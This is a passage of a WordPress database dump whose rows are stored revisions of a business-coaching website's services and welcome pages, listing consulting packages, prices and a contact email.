target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-20 11:14:47', '2011-11-20 18:14:47', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-151/', 0, 'revision', '', 0),
(1805, 2, '2011-11-20 12:36:59', '2011-11-20 19:36:59', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. I offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. I work with forward thinking early-stage entrepreneurs to discover and pursue, with clarity and confidence, a bigger vision of their future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress in taking their business to next level. If this describes your current circumstances, my expertise provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Together, we''ll design a strategic and creative business development platform for success in four key areas:\r\n\r\n<strong>To whom you market–identifying the high value customers that represent the best opportunity for your business to grow.</strong>\r\n\r\n<strong>Why they buy– understanding the customer''s illumnitating needs, desires, motivations that drive engagement with your business products or services.\r\n</strong>\r\n\r\n<strong>What makes your business highly valued and difficult to substitute– clarity on what value your business represents to high value customers.\r\n</strong>\r\n\r\n<strong>How you compete– designing the artifacts, communications and experiences that influence high value customers to become loyal avocates of your business.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Development Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-20 12:36:59', '2011-11-20 19:36:59', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-153/', 0, 'revision', '', 0),
(1804, 2, '2011-11-20 12:36:24', '2011-11-20 19:36:24', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nI offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. I work with forward thinking early-stage entrepreneurs to discover and pursue, with clarity and confidence, a bigger vision of their future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress in taking their business to next level. If this describes your current circumstances, my expertise provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Together, we''ll design a strategic and creative business development platform for success in four key areas:\r\n\r\n<strong>To whom you market–identifying the high value customers that represent the best opportunity for your business to grow.</strong>\r\n\r\n<strong>Why they buy– understanding the customer''s illumnitating needs, desires, motivations that drive engagement with your business products or services.\r\n</strong>\r\n\r\n<strong>What makes your business highly valued and difficult to substitute– clarity on what value your business represents to high value customers.\r\n</strong>\r\n\r\n<strong>How you compete– designing the artifacts, communications and experiences that influence high value customers to become loyal avocates of your business.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Development Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-20 12:36:24', '2011-11-20 19:36:24', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-152/', 0, 'revision', '', 0),
(1806, 2, '2011-11-20 12:37:52', '2011-11-20 19:37:52', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. I offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. I work with forward thinking early-stage entrepreneurs to discover and pursue, with clarity and confidence, a bigger vision of their future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress in taking their business to next level. If this describes your current circumstances, my expertise provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Together, we''ll design a strategic and creative business development platform for success in four key areas:\r\n\r\n<strong>To whom you market–identifying the high value customers that represent the best opportunity for your business to grow.</strong>\r\n\r\n<strong>Why they buy– understanding the customer''s illumnitating needs, desires, motivations that drive engagement with your business products or services.\r\n</strong>\r\n\r\n<strong>What makes your business highly valued and difficult to substitute– clarity on what value your business represents to high value customers.\r\n</strong>\r\n\r\n<strong>How you compete– designing the artifacts, communications and experiences that influence high value customers to become loyal avocates of your business.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Development Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-20 12:37:52', '2011-11-20 19:37:52', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-154/', 0, 'revision', '', 0),
(1807, 2, '2011-11-20 15:14:47', '2011-11-20 22:14:47', '', 'thomson-pic', 0, '', 'inherit', 'open', 'open', '', 'thomson-pic-4', '', '', '2011-11-20 15:14:47', '2011-11-20 22:14:47', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/thomson-pic.jpg', 0, 'attachment', 'image/jpeg', 0),
(1808, 2, '2011-11-20 10:36:43', '2011-11-20 17:36:43', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people like you innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 10:36:43', '2011-11-20 17:36:43', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-137/', 0, 'revision', '', 0);
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(1811, 2, '2011-11-27 12:24:52', '2011-11-27 19:24:52', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. I offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Development Coaching</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo professionals to discover and pursue, with clarity and confidence, a bigger vision of their future. Through insight and guidance I can help you to leverage your personal effectiveness, clarity and confidence by an order of magnitude to make a quantum leap in your busness development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish any current habits limiting your scene and kick up your game.  I''ll work with you to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success and provide tools and maps to help you get there. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 12:24:52', '2011-11-27 19:24:52', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-157/', 0, 'revision', '', 0),
(1812, 2, '2011-11-27 12:37:49', '2011-11-27 19:37:49', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage creative entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. I offer marketing and business development expertise and advice to help you and your team focus on new ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business deveopment success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and design agency, I have been a successful creative entrepreneur for over three decades. I know the focus and discipline necessary to develop and serve high value clients and customers that represent a bigger future. I''ve done it and I can help you do it too.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Business Development Coaching</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo professionals to discover and pursue, with clarity and confidence, a bigger vision of their future. Through insight and guidance I can help you to leverage your personal effectiveness, clarity and confidence by an order of magnitude to make a quantum leap in your busness development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish any current habits limiting your scene and kick up your game.  I''ll work with you to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success and provide tools and maps to help you get there. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 12:37:49', '2011-11-27 19:37:49', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-158/', 0, 'revision', '', 0),
(1813, 2, '2011-11-27 12:59:33', '2011-11-27 19:59:33', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage creative entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. I offer marketing and business development expertise and advice to help you and your team focus on new ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business deveopment success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of alternative 